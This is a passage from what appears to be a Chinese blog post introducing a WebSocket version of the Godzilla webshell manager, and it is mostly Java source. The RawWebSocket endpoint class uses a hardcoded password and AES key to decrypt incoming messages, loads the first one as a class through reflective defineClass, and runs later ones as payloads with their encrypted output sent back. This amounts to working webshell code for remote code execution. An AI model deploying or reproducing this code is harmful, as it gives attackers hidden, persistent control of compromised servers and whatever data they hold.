arrOut  =  new  ByteArrayOutputStream ();                       Object  f  =  ((Class<?>) store.get("payload" )).newInstance();                       f.equals(arrOut);                       f.equals(data);                       result.append(md5.substring(0 , 16 ));                       f.toString();                       result.append(base64Encode(x(arrOut.toByteArray(), true )));                       result.append(md5.substring(16 ));                   }                   session.getBasicRemote().sendText(result.toString());               } else  {               }           } catch  (Exception e) {           }       }          @Override        public  void  onClose (Session session, javax.websocket.CloseReason closeReason)  {           System.out.println("onclose method is invoked\"" );       }          @Override        public  void  onError (Session session, Throwable thr)  {           System.out.println("onerror method is invoked\"" );       }          public  static  String md5 (String s)  {           String  ret  =  null ;           try  {               MessageDigest m;               m = MessageDigest.getInstance("MD5" );               m.update(s.getBytes(), 0 , s.length());               ret = new  BigInteger (1 , m.digest()).toString(16 ).toUpperCase();           } catch  (Exception e) {           }           return  ret;       }          public  static  String base64Encode (byte [] bs)  throws  Exception {           Class base64;           String  value  =  null ;           try  {               base64 = Class.forName("java.util.Base64" );               Object  Encoder  =  base64.getMethod("getEncoder" , null ).invoke(base64, null );               value = (String) Encoder.getClass().getMethod("encodeToString" , new  Class []{byte [].class}).invoke(Encoder, new  Object []{bs});           } catch  (Exception e) {               try  {                   base64 = Class.forName("sun.misc.BASE64Encoder" );                   Object  Encoder  =  base64.newInstance();                   value = (String) Encoder.getClass().getMethod("encode" , new  Class []{byte [].class}).invoke(Encoder, new  Object []{bs});               } catch  (Exception e2) {               }           }           return  value;       }          public  static  byte [] base64Decode(String bs) throws  Exception {           Class base64;           byte [] value = null ;           try  {               base64 = Class.forName("java.util.Base64" );               Object  decoder  =  base64.getMethod("getDecoder" , null ).invoke(base64, null );               value = (byte []) decoder.getClass().getMethod("decode" , new  Class []{String.class}).invoke(decoder, new  Object []{bs});           } catch  (Exception e) {               try  {                   base64 = Class.forName("sun.misc.BASE64Decoder" );                   Object  decoder  =  base64.newInstance();                   value = (byte []) decoder.getClass().getMethod("decodeBuffer" , new  Class []{String.class}).invoke(decoder, new  Object []{bs});               } catch  (Exception e2) {               }           }           return  value;       }         } 
 
Raw类型 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 public  class  RawWebSocket  extends  Endpoint  implements  MessageHandler .Whole<byte []> {         private  Session session;       public  static  Map<String, Object> store = new  HashMap ();       String  xc  =  "082e34fbef497bb1" ;      String  pass  =  "cmisl" ;       public  String  headerName  =  "cmisl" ;       public  String  headerValue  =  "cmisl" ;          String  md5  =  md5(pass + xc);          private  static  Class defineClass (byte [] classbytes)  throws  Exception {           URLClassLoader  urlClassLoader  =  new  URLClassLoader (new  URL [0 ], Thread.currentThread().getContextClassLoader());           Method  method  =  ClassLoader.class.getDeclaredMethod("defineClass" , byte [].class, int .class, int .class);           method.setAccessible(true );           return  (Class) method.invoke(urlClassLoader, classbytes, 0 , classbytes.length);       }          public  byte [] x(byte [] s, boolean  m) {           try  {               Cipher  c  =  Cipher.getInstance("AES" );               c.init(m ? 1  : 2 , new  SecretKeySpec (xc.getBytes(), "AES" ));               return  c.doFinal(s);           } catch  (Exception e) {               return  null ;           }       }          @Override        public  void  onOpen (Session session, EndpointConfig config)  {           this .session = session;           System.out.println("onOpen method is invoked raw" );           this .session.setMaxBinaryMessageBufferSize(1024  * 1024 );           this .session.setMaxTextMessageBufferSize(1024  * 1024 );           session.addMessageHandler(this );      }          @Override        public  void  onMessage (byte [] message)  {           try  {               System.out.println("onMessage method is invoked" );               ByteArrayOutputStream  result  =  new  ByteArrayOutputStream ();                  byte [] data = message;               data = x(data, false );                  if  (store.get("payload" ) == null ) {                   store.put("payload" , defineClass(data));               } else  {                   store.put("parameters" , data);                   ByteArrayOutputStream  arrOut  =  new  ByteArrayOutputStream ();                   Object  f  =  ((Class<?>) store.get("payload" )).newInstance();                   f.equals(arrOut);                   f.equals(data);                   f.toString();                   result.write(x(arrOut.toByteArray(), true ));               }               session.getBasicRemote().sendBinary(ByteBuffer.wrap(result.toByteArray()));              } catch  (Exception e) {           }       }          @Override        public  void  onClose (Session session, javax.websocket.CloseReason closeReason)  {           System.out.println("onclose method is invoked\"" );       }          @Override        public  void  onError (Session session, Throwable thr)  {           System.out.println("onerror method is invoked\"" );       }          public  static  String md5 (String s)  {           String  ret  =  null ;           try  {               MessageDigest m;               m = MessageDigest.getInstance("MD5" );               m.update(s.getBytes(), 0 , s.length());               ret = new  BigInteger (1 , m.digest()).toString(16 ).toUpperCase();           } catch  (Exception e) {           }           return  ret;       }          public  static  String base64Encode (byte [] bs)  throws  Exception {           Class base64;           String  value  =  null ;           try  {               base64 = Class.forName("java.util.Base64" );               Object  Encoder  =  base64.getMethod("getEncoder" , null ).invoke(base64, null );               value = (String) Encoder.getClass().getMethod("encodeToString" , new  Class []{byte [].class}).invoke(Encoder, new  Object []{bs});           } catch  (Exception e) {               try  {                   base64 = Class.forName("sun.misc.BASE64Encoder" );                   Object  Encoder  =  base64.newInstance();                   value = (String) Encoder.getClass().getMethod("encode" , new  Class []{byte [].class}).invoke(Encoder, new  Object []{bs});               } catch  (Exception e2) {               }           }           return  value;       }          public  static  byte [] base64Decode(String bs) throws  Exception {           Class base64;           byte [] value = null ;           try  {               base64 = Class.forName("java.util.Base64" );               Object  decoder  =  base64.getMethod("getDecoder" , null ).invoke(base64, null );               value = (byte []) decoder.getClass().getMethod("decode" , new  Class []{String.class}).invoke(decoder, new  Object []{bs});           } catch  (Exception e) {               try  {                   base64 = Class.forName("sun.misc.BASE64Decoder" );                   Object  decoder  =  base64.newInstance();                   value = (byte []) decoder.getClass().getMethod("decodeBuffer" , new  Class []{String.class}).invoke(decoder, new  Object []{bs});               } catch  (Exception e2) {               }           }           return  value;       }   } 
 
测试 基本没问题,除了进入shell会有一会延迟,这个是为了确保获取基础信息时能读到完整数据,避免只读取一部分数据从无法解析基础信息进而无法进入shell。
最后项目地址:Cmisl/WebSocketGodZilla: 实现了WebSocket通信的哥斯拉webshell管理器